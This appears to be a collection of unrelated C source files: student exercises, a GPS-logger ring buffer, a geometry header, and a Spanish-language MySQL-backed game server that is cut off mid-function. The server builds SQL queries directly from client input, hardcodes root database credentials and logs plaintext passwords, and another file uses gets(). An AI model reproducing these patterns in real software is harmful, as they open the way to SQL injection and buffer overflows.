#include<stdio.h> #include<stdlib.h> #include<string.h> #define SIZE 100 int main() { FILE *numberlist; char buffer[SIZE]; int ii = 1; int sum=0; char * input; numberlist = fopen("numbers.txt", "r"); while ( fgets(buffer, SIZE, numberlist) ) { /* the first call to strtok with a buffer tokenizes that string */ input = strtok(buffer, " "); sum = 0; while(input != NULL) { sum += atoi(input); /* subsequent calls to strtok with NULL will get the next token */ input = strtok(NULL, " "); } printf("[%d] sum=%d\n",ii,sum); ii++; } fclose(numberlist); return 0; }
C
/* crb.c char ring buffer LPC11U3x GPS Logger (https://github.com/olikraus/lpc11u3x-gps-logger) Copyright (c) 2016, [email protected] All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include <stddef.h> #include <string.h> #include "crb.h" void crb_Init(crb_t *crb) { memset(crb, 0, sizeof(crb_t)); crb->is_wait_for_dollar = 1; } uint8_t crb_IsEmpty(crb_t *crb) { if ( crb->start == crb->end ) return 1; return 0; } uint8_t crb_IsSentenceAvailable(crb_t *crb) { if ( crb->start != crb->good_end ) return 1; return 0; } void crb_DeleteSentence(crb_t *crb) { uint16_t next_start; if ( crb_IsSentenceAvailable(crb) == 0 ) return; next_start = crb->start; for(;;) { next_start++; if ( next_start >= CRB_LEN ) next_start = 0; if ( next_start == crb->good_end || crb->buf[next_start] == '$' ) { break; } /* continue to increase next_start */ } crb->start = next_start; crb->is_full = 0; } void crb_AddChar(crb_t *crb, uint8_t c) { uint16_t new_end; if ( crb->is_full != 0 ) return; if ( crb->is_wait_for_dollar != 0 ) { if ( c != '$' ) return; crb->is_wait_for_dollar = 0; /* continue normally */ } /* increment end of ring buffer */ new_end = crb->end; new_end++; if ( new_end >= CRB_LEN ) new_end = 0; /* check if there will be a buffer overflow */ if ( new_end == crb->start ) { crb->is_full = 1; crb->is_wait_for_dollar = 1; crb->end = crb->good_end; return; } /* new_end has been calculated, no overflow will be there */ if ( c == '$' ) { crb->good_end = crb->end; } crb->buf[crb->end] = c; crb->end = new_end; } void crb_AddStr(crb_t *crb, const char *str) { while( *str != '\0' ) { crb_AddChar(crb, *str); str++; } } /*================================*/ int16_t crb_GetInit(crb_t *crb) { crb->curr_pos = crb->start; return crb->buf[crb->curr_pos]; } int16_t crb_GetCurr(crb_t *crb) { if ( crb_IsSentenceAvailable(crb) == 0 ) return -1; return crb->buf[crb->curr_pos]; } int16_t crb_GetNext(crb_t *crb) { crb->curr_pos++; if ( crb->curr_pos >= CRB_LEN ) crb->curr_pos = 0; return crb->buf[crb->curr_pos]; }
C
#include<stdio.h> // To check whether a character is Lowercase or not // 97-122 are lowercase characters in ASCII values int main() { char ch; printf("Enter the case\n"); scanf("%c",&ch); if(ch<=122 && ch>=97){ printf("It is a lowercase"); } else{ printf("Not a lowercase"); } return 0; } /* Leap Year --->>> #include <stdio.h> int main() { int year; printf("Enter a year: \n"); scanf("%d", &year); #### leap year if perfectly divisible by 400 if (year % 400 == 0) { printf("%d is a leap year.\n", year); } #### not a leap year if divisible by 100 #### but not divisible by 400 else if (year % 100 == 0) { printf("%d is not a leap year.\n", year); } #### leap year if not divisible by 100 #### but divisible by 4 else if (year % 4 == 0) { printf("%d is a leap year.\n", year); } // all other years are not leap years else { printf("%d is not a leap year.\n", year); } return 0; } */
C
/* GCVec2dLib.h by Andrew Glassner * modified by Giulio Casciola (2009) */ #ifndef GC_H #define GC_H 1 /*********************/ /* 2d geometry types */ /*********************/ /* 2d point */ typedef struct Point2Struct { double x, y; }Point2; typedef Point2 Vector2; /* 2d integer point */ typedef struct IntPoint2Struct { int x, y; }IntPoint2; /* 3-by-3 matrix */ typedef struct Matrix3Struct { double element[3][3]; }Matrix3; /* 2d box */ typedef struct Box2dStruct { Point2 min, max; }Box2; typedef struct{ float xmin, xmax, ymin, ymax; } RECT; typedef RECT VIEWPORT; typedef RECT WINDOW; /***********************/ /* one-argument macros */ /***********************/ /* absolute value of a */ #define ABS(a) (((a)<0) ? -(a) : (a)) /* round a to nearest int */ #define ROUND(a) ((a)>0 ? (int)((a)+0.5) : -(int)(0.5-(a))) /* take sign of a, either -1, 0, or 1 */ #define ZSGN(a) (((a)<0) ? -1 : (a)>0 ? 1 : 0) /* take binary sign of a, either -1, or 1 if >= 0 */ #define SGN(a) (((a)<0) ? -1 : 1) /* shout if something that should be true isn't */ #define ASSERT(x) \ if (!(x)) fprintf(stderr," Assert failed: x\n"); /* square a */ #define SQR(a) ((a)*(a)) /***********************/ /* two-argument macros */ /***********************/ /* find minimum of a and b */ #define MIN(a,b) (((a)<(b))?(a):(b)) /* find maximum of a and b */ #define MAX(a,b) (((a)>(b))?(a):(b)) /* swap a and b; run for integral operands only */ #define SWAP(a,b) { a^=b; b^=a; a^=b; } /* linear interpolation from l (when a=0) to h (when a=1)*/ /* (equal to (a*h)+((1-a)*l) */ #define LERP(a,l,h) ((l)+(((h)-(l))*(a))) /* clamp the input to the specified range */ #define CLAMP(v,l,h) ((v)<(l) ? (l) : (v) > (h) ? (h) : v) /****************************/ /* memory allocation macros */ /****************************/ /* create a new instance of a structure */ #define NEWSTRUCT(x) (struct x *)(malloc((unsigned)sizeof(struct x))) /* create a new instance of a type */ #define NEWTYPE(x) (x *)(malloc((unsigned)sizeof(x))) /* create a new instance of an array of structure */ #define ARR_NEWSTRUCT(n,x) (struct x *)(malloc(n*(unsigned)sizeof(struct x))) /* create a new instance of an array of type */ #define ARR_NEWTYPE(n,x) (x *)(malloc(n*(unsigned)sizeof(x))) /********************/ /* useful constants */ /********************/ #define PI 3.141592 /* the venerable pi */ #define PITIMES2 6.283185 /* 2 * pi */ #define PIOVER2 1.570796 /* pi / 2 */ #define E 2.718282 /* the venerable e */ #define SQRT2 1.414214 /* sqrt(2) */ #define SQRT3 1.732051 /* sqrt(3) */ #define GOLDEN 1.618034 /* the golden ratio */ #define DTOR 0.017453 /* convert degrees to radians */ #define RTOD 57.29578 /* convert radians to degrees */ #define SMALL_NUMBER 1.e-8 /* small number*/ /************/ /* booleans */ /************/ #define TRUE 1 #define FALSE 0 #define ON 1 #define OFF 0 typedef int boolean; /* boolean data type */ typedef boolean flag; /* flag data type */ /*********************************/ /* extern functions declarations */ /*********************************/ extern double V2SquaredLength(Vector2 *); extern double V2Length(Vector2 *); extern double V2Dot(Vector2 *,Vector2 *); extern double V2DistanceBetween2Points(Point2 *, Point2 *); extern Vector2 *V2Negate(Vector2 *); extern Vector2 *V2Normalize(Vector2 *); extern Vector2 *V2Scale(Vector2 *, double); extern Vector2 *V2Add(Vector2 *,Vector2 *,Vector2 *); extern Vector2 *V2Sub(Vector2 *,Vector2 *,Vector2 *); extern Vector2 *V2Lerp(Vector2 *, Vector2 *, double, Vector2 *); extern Vector2 *V2Combine(Vector2 *, Vector2 *, Vector2 *, double , double ); extern Vector2 *V2Mul(Vector2 *, Vector2 *, Vector2 *); extern Vector2 *V2MakePerpendicular(Vector2 *, Vector2 *); extern Vector2 *V2New(double , double ); extern Vector2 *V2Duplicate(Vector2 *); extern void V2Swap(Point2 *, Point2 *); extern Point2 *V2MulPointByMatrix(Point2 *, Matrix3 *); extern Matrix3 *V2MatMul(Matrix3 *, Matrix3 *, Matrix3 *); extern double RegulaFalsi(double (*)(), double , double ); extern double NewtonRaphson(double (*)(), double (*)(), double ); extern double findroot(double ,double ,double , double (*)(), double (*)()); extern double det2x2( double , double , double , double ); extern double det3x3(Matrix3 *); extern void adjoint(Matrix3 *, Matrix3 *); extern int inverse(Matrix3 *, Matrix3 *t); extern Matrix3 *MatMul(Matrix3 *a, Matrix3 *b, Matrix3 *c); extern double distanzapunti(IntPoint2 *a, IntPoint2 *b); extern void get_scale (RECT r1, RECT r2, float *scx, float *scy); extern void wind_view (float px, float py, int *ix, int *iy, VIEWPORT view, WINDOW win); extern Point2 ruota_punto(Point2 point, Point2 centro, float angolo); extern double min(double,double); extern double max(double,double); #endif
C
/*add_word.c*/ #include<stdio.h> #include<stdlib.h> #define MAX 40 int main() { FILE *fp; char words[MAX]; if((fp = fopen("words","a+")) == NULL) { fprintf(stderr,"can't open \"words\" file .\n"); exit(1); } puts("enter words to add the file(press enter key at the begining of a line to terminate.)"); //puts() will add '\n' at the end of it //gets() will ignore '\n' while(gets(words) != NULL && words[0] != '\0') { fprintf(fp,"%s",words); } puts("file contents:"); rewind(fp); while(fscanf(fp,"%s",words) == 1) { puts(words); } if(fclose(fp) != 0) { fprintf(stderr,"error closing file.\n"); exit(1); } return 0; }
C
#include <stdio.h> #define BUFSIZE 512 /* best size for PDP-11 UNIX */ main() /* copy input to output */ { char buf[BUFSIZE]; int n; while ((n = read(0, buf, BUFSIZE)) > 0) write(1, buf, n); }
C
#include <stdio.h> #include <malloc.h> #include <stdlib.h> #include <string.h> typedef struct stack { int data; struct stack *link; }stack; stack *top = NULL; void push(int item); int pop (void); void analyze_stack(char []); int main(){ char str[100]; printf("Enter the Arithmatic Expression:\n"); scanf("%s",str); analyze_stack(str); printf("After evaluating it comes: %d\n", top->data ); } void push (int item){ stack *nw; nw = (stack *)malloc(sizeof(stack)); nw->data = item; if (top == NULL){ nw->link = NULL; top = nw; } else{ nw->link = top; top = nw; } } int pop(void){ if (top == NULL){ printf("pop cannot done : Underflow\n"); return '\0'; } else{ int item = top->data; stack *temp; temp=top; top = top->link; free(temp); return item; } } void analyze_stack(char str[100]){ char c; int x,first_pop,sec_pop,i; for (i=0;i<strlen(str);i++){ if (str[i]=='^'||str[i]=='+'||str[i]=='-'||str[i]=='*'||str[i]=='/'){ first_pop = pop(); sec_pop = pop(); switch (str[i]){ case '*': push(first_pop * sec_pop) ; break; case '+': push(first_pop + sec_pop); break; case '/': push(sec_pop / first_pop); break; case '-': push(sec_pop - first_pop); break; case '^': push(first_pop ^ sec_pop) ; break; } } else{ c = str[i]; x = c - '0'; push(x); } } }
C
/* hpled */ #include "os2def.h" #include "string.h" #include "stdio.h" APIRET16 APIENTRY16 RPORT(USHORT); void APIENTRY16 WPORT(USHORT,USHORT); APIRET16 APIENTRY16 DosPortAccess(USHORT,USHORT,USHORT,USHORT); int main( int argc, char *argv[] ) { int base,value,rc; /* I/O access from 000h to FFFh */ base=0x60; value=0; rc=DosPortAccess(0,0,0x000,0xFFF); if (rc) printf("DosPortAccess()=%d\n",rc); if (argc==1) { printf ("HP SK-2505 keyboard \"messages\" LED switcher\n"); printf (" usage: hpled.exe <command>, where command can be \"on\", \"off\" and \"kbdlock\" \n"); return(0); } if (strcmp(argv[1],"on")==0) value=0xeb; if (strcmp(argv[1],"off")==0) value=0xec; if (strcmp(argv[1],"kbdlock")==0) value=0xed; if (value!=0) {WPORT(base,value); printf("Done\n");} else {printf("Uknown command!\n");return(1);} return(0); }
C
#include <stdio.h> #include <mysql.h> #include <string.h> #include <unistd.h> #include <stdlib.h> #include <pthread.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> /*Estructura para la lista de conectados, en la cual se almacenaran los nombres y los sockets de los usuarios.*/ typedef struct{ char nombre[20]; int socket; } Conectado; typedef struct{ Conectado conectados[100]; int num; } ListaDeConectados; /*Estructura para la lista de partidas, en la cual se almacenaran los datos de las diferentes partidas.*/ typedef struct{ int id; int socket1; //El jugador numero 1 siempre sera el host(el que invita). int socket2; char nombre1[20]; char nombre2[20]; int jugada1; int jugada2; int vida1; int vida2; int bala1; int bala2; int ronda; }Partida; typedef struct{ Partida partidas[100]; int num; } ListaDePartidas; pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER; ListaDeConectados listaC; /*Lista de conectados.*/ ListaDePartidas listaP; /*Lista de partidas.*/ /*FUNCIONES PARA LA LISTA DE CONECTADOS.*/ /*Funcion que anade a la lista de conectados un usuario. Devuelve -2 si el usuario ya esta en la lista, -1 si la lista esta llena y 0 si se ha introducido correctamente*/ int AnadirLista (ListaDeConectados *lista, char nombre[20], int socket) { if (lista->num == 100) { return -1; } int i = 0; while(i < lista->num) { if(strcmp(lista->conectados[i].nombre, nombre) == 0) { return -2; } i++; } lista->conectados[lista->num].socket = socket; strcpy (lista->conectados[lista->num].nombre, nombre); printf("Socket: %d, nombre: %s y posicion de la lista: %d.\n", socket, nombre, lista->num); lista->num++; return 0; } /*Funcion que elimina un usuario de la lista de conectados y devulve un 1, el cual nos servira para actualizar el datagrid del cliente.*/ int EliminarLista(ListaDeConectados *lista, char nombre[20], int socket) { int i = DamePosicion(lista, nombre); while(i < lista->num - 1) { lista->conectados[i] = lista->conectados[i+1]; i++; } lista->num--; return 1; } /*Funcion que retorna un string con los usuarios conectados.*/ void DameConectados(ListaDeConectados *lista, char conectados[300]) { int i = 0; sprintf(conectados, "%d", lista->num); while(i < lista->num) { sprintf(conectados,"%s,%s", conectados, lista->conectados[i].nombre); i++; } } /*Funcion que retorna la posicion del usuario deseado en la lista de conectados.*/ int DamePosicion(ListaDeConectados *lista, char nombre[20]) { int i = 0; while(i < lista->num) { if (strcmp(lista->conectados[i].nombre, nombre) == 0) { return i; } i++; } } /*Funcion que retorna el numero de socket de un usuario en concreto en la lista de conectados.*/ int DameSocket(ListaDeConectados *lista, char nombre[20]) { int i = 0; while(i < lista->num) { if (strcmp(lista->conectados[i].nombre, nombre) == 0) { return lista->conectados[i].socket; } i++; } } /*Funcion que proporciona atencion continua al cliente.*/ void *AtenderCliente (void *socket) { int err; MYSQL *conn; int sock_conn; int *s; s = (int *) socket; sock_conn= *s; int terminar = 0; char peticion[512]; char respuesta[512]; int ret; char *usuario[20]; char *contra[20]; conn = mysql_init(NULL); if (conn == NULL) { printf ("Error al crear la conexion: %u %s.\n", mysql_errno(conn), mysql_error(conn)); exit (1); } conn = mysql_real_connect (conn, "localhost", "root", "mysql", "bd", 0, NULL, 0); if (conn == NULL) { printf ("Error al inicializar la conexion: %u %s.\n", mysql_errno(conn), mysql_error(conn)); exit (1); } while (terminar == 0) { //Ahora recibimos su mensaje, que dejamos en buff. ret = read(sock_conn, peticion, sizeof(peticion)); peticion[ret] = '\0'; printf ("Recibido.\n"); //Escribimos el nombre en la consola. printf ("Se ha registrado una peticion: %s.\n", peticion); char *p = strtok( peticion, "/"); int codigo = atoi (p); char idPartida[10]; int RLD = 0; if (codigo == 0) //Desconectar usuario. { pthread_mutex_lock(&mutex); //Eliminamos el usuario de la lista de conectados. terminar = EliminarLista(&listaC, usuario, sock_conn); pthread_mutex_unlock(&mutex); printf("%s se ha desconectado.\n", usuario); if(terminar == 1) { RLD = 1; } } else { if (codigo == 1) //Recibe el usuario y la contrasena, y la enviamos al procedimiento IniciarSesion. { p = strtok(NULL, "/"); strcpy(usuario, p); p = strtok(NULL, "/"); strcpy(contra, p); terminar = IniciarSesion(usuario, contra, respuesta, conn, sock_conn); if(terminar == 0) { RLD = 1; } } else if (codigo == 2) //Recibe el usuario y la contrasena, y la enviamos al procedimiento Registrarse. { p = strtok(NULL, "/"); strcpy(usuario, p); p = strtok(NULL, "/"); strcpy(contra, p); printf("Se va a registrar %s con la contrasena %s.\n", usuario, contra); terminar = Registrarse(usuario, contra, respuesta, conn, sock_conn); if(terminar == 0) { RLD = 1; } } else if (codigo == 3) //Consulta de partida mas rapida. { PartidaRapida(respuesta, conn); } else if (codigo == 4) //Consulta de decir ganador de una partida. { p = strtok(NULL, "/"); int id = atoi(p); GanadorPartida(id, respuesta, conn); } else if (codigo == 5) //Consulta de quien haya ganado mas partidas. { char ganador[20]; p = strtok(NULL, "/"); strcpy(ganador, p); PartidasGanadas(ganador, respuesta, conn); } else if (codigo == 6) //Invitar a un jugador. { char rival[20]; p = strtok(NULL, "/"); strcpy(rival, p); printf("%s invita a %s.\n", usuario, rival); InvitarJugador(usuario, rival, sock_conn); } else if (codigo == 7) //Responder a la invitacion de un jugador. { char rival[20]; char respuesta[20]; printf("Ahora responderemos la notificacion.\n");; p = strtok(NULL, "/"); strcpy(rival, p); printf("El usuario es %s y ", rival); p = strtok(NULL, "/"); strcpy(respuesta, p); printf("la respuesta es %s.\n", respuesta); pthread_mutex_lock(&mutex); RespuestaInvitacion(usuario, rival, respuesta, sock_conn, &listaP); pthread_mutex_unlock(&mutex); } else if (codigo == 8) //Recibe un mensaje del chat y lo procesa para enviarlo al rival y a el mismo. { char mensaje1[512]; char mensaje2[512]; int i = 0; p = strtok(NULL, "/"); strcpy(idPartida, p); i = atoi(idPartida); printf("La ID de la partida es %d ", i); p = strtok(NULL, "/"); strcpy(mensaje1, p); printf("y el mensaje es %s.\n", mensaje1); sprintf(mensaje2, "9/%s/%s", idPartida, mensaje1); printf("%s.\n", mensaje2); write (listaP.partidas[i].socket1, mensaje2, strlen(mensaje2)); write (listaP.partidas[i].socket2, mensaje2, strlen(mensaje2)); } else if (codigo == 9) //Recibimos el movimiento de un jugador y lo procesamos por el procedimiento MirarJugada. { int jugada; int i = 0; p = strtok(NULL, "/"); strcpy(idPartida, p); i = atoi(idPartida); p = strtok(NULL, "/"); jugada = atoi(p); printf("ID: %d y Jugada: %d.\n", i, jugada); pthread_mutex_lock(&mutex); MirarJugadas(&listaP, i, jugada, sock_conn, conn); pthread_mutex_unlock(&mutex); } else if (codigo == 10) { printf("Vamos a eliminar el usuario: %s.\n", usuario); pthread_mutex_lock(&mutex); //Borramos de la base de datos un usuario. BorrarUsuarioBBDD(usuario, conn); pthread_mutex_unlock(&mutex); pthread_mutex_lock(&mutex); //Eliminamos el usuario de la lista de conectados. int terminar = EliminarLista(&listaC, usuario, sock_conn); pthread_mutex_unlock(&mutex); if(terminar == 1) { RLD = 1; } printf("%d, sdfasfasdasdf\n", RLD); } if (codigo == 1 || codigo == 2 || codigo == 3 || codigo == 4 || codigo == 5) { write (sock_conn, respuesta, strlen(respuesta)); } } /*Si un usuario se ha Registrado, ha hecho Login o Desconectado (RLD), esta variable es 1 y entonces envia una notificacion con la lista de conectados a todos los usuarios.*/ if(RLD == 1) { int i = 0; char conectados[200]; char notificacion[200]; pthread_mutex_lock(&mutex); DameConectados(&listaC, conectados); pthread_mutex_unlock(&mutex); printf("Los usuarios conectados son: %s.\n", conectados); sprintf (notificacion, "6/0/%s", conectados); while(i < listaC.num) { write (listaC.conectados[i].socket, notificacion, strlen(notificacion)); i++; } RLD = 0; } } close(sock_conn); } void IniciarSesion(char usuario[20], char contra[20], char respuesta[100], MYSQL *conn, int sock_conn) //Procedimiento para iniciar sesion. Mira en la base de datos si existe el usuario y envia el mensaje necesario al cliente. { MYSQL_ROW row; MYSQL_RES *resultado; char consulta[100]; sprintf(consulta, "SELECT usuario FROM jugador WHERE usuario = '%s' AND contrasena = '%s';", usuario, contra); printf("%s\n", consulta); int err = mysql_query (conn, consulta); if (err != 0) { printf ("Error al consultar la base de datos %u %s.\n", mysql_errno(conn), mysql_error(conn)); exit (1); } resultado = mysql_store_result(conn); row = mysql_fetch_row(resultado); if(row == NULL) { sprintf(respuesta, "1/0/1"); //Usuario no registrado. } else { pthread_mutex_lock(&mutex); int j = AnadirLista(&listaC, usuario, sock_conn); pthread_mutex_unlock(&mutex); if(j == 0) { printf("%s ha iniciado sesion.\n", usuario); sprintf(respuesta, "1/0/0"); } else if(j == -1) { printf("La lista de conectados esta llena.\n"); sprintf(respuesta, "1/0/2"); } else { printf("El usuario %s ya tiene una sesion activa.\n", usuario); sprintf(respuesta, "1/0/3"); } } } void Registrarse(char usuario[20], char contra[20], char respuesta[100], MYSQL *conn, int sock_conn) //Procedimiento para registrarse. Mira en la base de datos si existe el usuario y envia el mensaje necesario al cliente. { MYSQL_ROW row; MYSQL_RES *resultado; char consulta[100]; sprintf (consulta, "INSERT INTO jugador(usuario, contrasena, victorias) VALUES('%s', '%s', '%d')", usuario, contra, 0); int err = mysql_query (conn, consulta); if (err!=0) { printf ("Error al introducir datos la base %u %s.\n", mysql_errno(conn), mysql_error(conn)); printf("El usuario %s ya existe.\n", usuario); strcpy(respuesta,"2/0/1"); } else { pthread_mutex_lock (&mutex); int j = AnadirLista(&listaC, usuario, sock_conn); pthread_mutex_unlock (&mutex); if(j == 0) { printf("%s ha iniciado sesion.\n", usuario); sprintf(respuesta, "2/0/0"); } else { printf("La lista de conectados esta llena.\n"); sprintf(respuesta, "2/0/2"); } } } void BorrarUsuarioBBDD(char usuario[20], MYSQL *conn) { MYSQL_ROW row; MYSQL_RES *resultado; char consulta[100]; sprintf (consulta, "DELETE FROM jugador WHERE usuario = '%s'", usuario); int err = mysql_query (conn, consulta); if (err!=0) { printf ("Error al introducir datos la base %u %s.\n", mysql_errno(conn), mysql_error(conn)); } else { printf("El usuario %s se ha eliminado con exito.\n", usuario); } printf("Ahora eliminaremos dicho usuario de la lista de conectado.\n"); } void PartidaRapida(char respuesta[100], MYSQL *conn) //Mira en la base de datos y procesa la consulta. { MYSQL_ROW row; MYSQL_RES *resultado; int err = mysql_query (conn, "SELECT duracion FROM partida WHERE duracion = (SELECT MIN(duracion) FROM partida)"); if (err!=0) { printf ("Error al consultar datos de la base %u %s.\n", mysql_errno(conn), mysql_error(conn)); exit (1); } resultado = mysql_store_result(conn); row = mysql_fetch_row (resultado); if (row == NULL){ printf ("No se han obtenido datos en la consulta.\n"); strcpy(respuesta, "3/0/0"); } else { printf("El tiempo de la partida mas rapida es de %s turnos.\n", row[0]); sprintf(respuesta, "3/0/%s", row[0]); } } void GanadorPartida(int id, char respuesta[100], MYSQL *conn) //Mira en la base de datos y procesa la consulta. { MYSQL_ROW row; MYSQL_RES *resultado; char consulta[100]; sprintf (consulta,"SELECT partida.ganador FROM partida WHERE partida.ID = '%d'", id); int err = mysql_query (conn, consulta); if (err!=0) { printf ("Error al consultar datos de la base %u %s.\n", mysql_errno(conn), mysql_error(conn)); exit (1); } resultado = mysql_store_result(conn); row = mysql_fetch_row (resultado); if(row == NULL) { printf("No se han obtenido los datos de la consulta.\n"); strcpy(respuesta, "4/0/0"); } else { printf("El ganador de la partida es %s.\n", row[0]); sprintf(respuesta, "4/0/%s", row[0]); } } void PartidasGanadas(char usuario[20], char respuesta[100], MYSQL *conn) //Mira en la base de datos y procesa la consulta. { MYSQL_ROW row; MYSQL_RES *resultado; char consulta[100]; sprintf(consulta, "SELECT jugador.victorias FROM jugador WHERE jugador.usuario = '%s'", usuario); int err = mysql_query (conn, consulta); if (err != 0) { printf ("Error al consultar datos de la base %u %s.\n", mysql_errno(conn), mysql_error(conn)); exit (1); } resultado = mysql_store_result(conn); row = mysql_fetch_row (resultado); if(row == NULL) { printf("No se han obtenido los datos de la consulta.\n"); sprintf(respuesta, "5/0/0"); } else { printf("Dicho usuario ha ganado %s partidas.\n", row[0]); sprintf(respuesta, "5/0/%s", row[0]); } } void InvitarJugador(char usuario[20], char invitado[20]) //Procedimiento que envia una notificacion de que un jugador ha sido invitado. { char notificacion[512]; int i = DamePosicion(&listaC, invitado); sprintf(notificacion, "7/0/%s", usuario); printf("Vamos a enviar notificacion %s.\n", notificacion); write (listaC.conectados[i].socket, notificacion, strlen(notificacion)); } //Recibimos la respuesta, si ha aceptado rellenamos la lista de partidas con la informacion de los jugadores y mandamos un mensaje al que ha invitado informandole si han aceptado o no. void RespuestaInvitacion(char usuario[20], char rival[20], char respuesta[20], int sock_conn, ListaDePartidas *lista) { char notificacion[512]; printf("Vamos a enviar la respuesta de la invitacion.\n"); int i = DamePosicion(&listaC, rival); if(strcmp(respuesta, "SI") == 0) { //Inicializamos todos los datos de la lista. lista->partidas[lista->num].id = lista->num; lista->partidas[lista->num].socket1 = listaC.conectados[i].socket; lista->partidas[lista->num].socket2 = sock_conn; strcpy(lista->partidas[lista->num].nombre1, listaC.conectados[i].nombre); strcpy(lista->partidas[lista->num].nombre2, usuario); lista->partidas[lista->num].vida1 = 5; lista->partidas[lista->num].vida2 = 5; lista->partidas[lista->num].jugada1 = 0; lista->partidas[lista->num].jugada2 = 0; lista->partidas[lista->num].bala1 = 0; lista->partidas[lista->num].bala2 = 0; printf("Guardamos cada dato de la partida, %s, %s y mas...\n", lista->partidas[lista->num].nombre1, lista->partidas[lista->num].nombre2); sprintf(notificacion, "8/%d/0", lista->num); printf("Enviamos respuesta %s.\n", notificacion); lista->num++; } else { strcpy(notificacion, "8/0/1"); printf("Enviamos respuesta %s.\n", notificacion); } write (listaC.conectados[i].socket, notificacion, strlen(notificacion)); write (sock_conn, notificacion, strlen(notificacion)); } /*Compara las dos jugadas de ambos usuarios con el fin de sumar o restar las balas, vidas... Despues envia una cadena de informacion de la partida al cliente para actualizar el form.*/ void MirarJugadas(ListaDePartidas *listaP, int idPartida, int jugada, int socket, MYSQL *conn) { char respuesta[512]; printf("ID: %d, tipo de jugada: %d y socket: %d.\n", idPartida, jugada, socket); if (listaP->partidas[idPartida].socket1 == socket) { listaP->partidas[idPartida].jugada1 = jugada; printf("Registramos primera jugada del jugador1: %d.\n", jugada); } if (listaP->partidas[idPartida].socket2 == socket) { listaP->partidas[idPartida].jugada2 = jugada; printf("Registramos primera jugada del jugador2: %d.\n", jugada); } if(listaP->partidas[idPartida].jugada1 == 4) //El jugador 1 se ha rendido. { char solucion[512]; sprintf(solucion, "11/%d/r", idPartida); //Ganador. write(listaP->partidas[idPartida].socket2, solucion, strlen(solucion)); } if(listaP->partidas[idPartida].jugada2 == 4) //El jugador 2 se ha rendido. { char solucion[512]; sprintf(solucion, "11/%d/r", idPartida); //Ganador. write(listaP->partidas[idPartida].socket1, solucion, strlen(solucion)); } if ((listaP->partidas[idPartida].jugada1 != 0) && (listaP->partidas[idPartida].jugada2 != 0)) { if ((listaP->partidas[idPartida].jugada1 == 1) && (listaP->partidas[idPartida].jugada2 == 1)) { listaP->partidas[idPartida].vida1 = listaP->partidas[idPartida].vida1 - 1; listaP->partidas[idPartida].vida2 = listaP->partidas[idPartida].vida2 - 1; listaP->partidas[idPartida].bala1 = listaP->partidas[idPartida].bala1 - 1; listaP->partidas[idPartida].bala2 = listaP->partidas[idPartida].bala2 - 1; } if ((listaP->partidas[idPartida].jugada1 == 1) && (listaP->partidas[idPartida].jugada2 == 2)) { listaP->partidas[idPartida].bala1 = listaP->partidas[idPartida].bala1 - 1; } if ((listaP->partidas[idPartida].jugada1 == 1) && (listaP->partidas[idPartida].jugada2 == 3)) { listaP->partidas[idPartida].vida2 = listaP->partidas[idPartida].vida2 - 1; listaP->partidas[idPartida].bala1 = listaP->partidas[idPartida].bala1 - 1; listaP->partidas[idPartida].bala2 = listaP->partidas[idPartida].bala2 + 1; } if ((listaP->partidas[idPartida].jugada1 == 2) && (listaP->partidas[idPartida].jugada2 == 1)) { listaP->partidas[idPartida].bala2 = listaP->partidas[idPartida].bala2 - 1; } if ((listaP->partidas[idPartida].jugada1 == 2) && (listaP->partidas[idPartida].jugada2 == 3)) { listaP->partidas[idPartida].bala2 = listaP->partidas[idPartida].bala2 + 1; } if ((listaP->partidas[idPartida].jugada1 == 3) && (listaP->partidas[idPartida].jugada2 == 1)) { listaP->partidas[idPartida].vida1 = listaP->partidas[idPartida].vida1 - 1; listaP->partidas[idPartida].bala1 = listaP->partidas[idPartida].bala1 + 1; listaP->partidas[idPartida].bala2 = listaP->partidas[idPartida].bala2 - 1; } if ((listaP->partidas[idPartida].jugada1 == 3) && (listaP->partidas[idPartida].jugada2 == 2)) { listaP->partidas[idPartida].bala1 = listaP->partidas[idPartida].bala1 + 1; } if ((listaP->partidas[idPartida].jugada1 == 3) && (listaP->partidas[idPartida].jugada2 == 3)) { listaP->partidas[idPartida].bala1 = listaP->partidas[idPartida].bala1 + 1; listaP->partidas[idPartida].bala2 = listaP->partidas[idPartida].bala2 + 1; } listaP->partidas[idPartida].ronda = listaP->partidas[idPartida].ronda + 1; //11/numform1/jugada_riva1l/vida1/vida2/bala1/ sprintf(respuesta, "10/%d/%d-%d-%d-%d", idPartida, listaP->partidas[idPartida].jugada2, listaP->partidas[idPartida].vida1, listaP->partidas[idPartida].vida2, listaP->partidas[idPartida].bala1); write(listaP->partidas[idPartida].socket1, respuesta, strlen(respuesta)); sprintf(respuesta, "10/%d/%d-%d-%d-%d", idPartida, listaP->partidas[idPartida].jugada1, listaP->partidas[idPartida].vida1, listaP->partidas[idPartida].vida2, listaP->partidas[idPartida].bala2); write(listaP->partidas[idPartida].socket2, respuesta, strlen(respuesta)); listaP->partidas[idPartida].jugada1 = 0; listaP->partidas[idPartida].jugada2 = 0; } //Si la vida de algun jugador ha llegado a 0, terminamos la partida. if((listaP->partidas[idPartida].vida1 == 0) || (listaP->partidas[idPartida].vida2 == 0)) { TerminarPartida(listaP->partidas[idPartida].vida1, listaP->partidas[idPartida].vida2, listaP->partidas[idPartida].socket1, 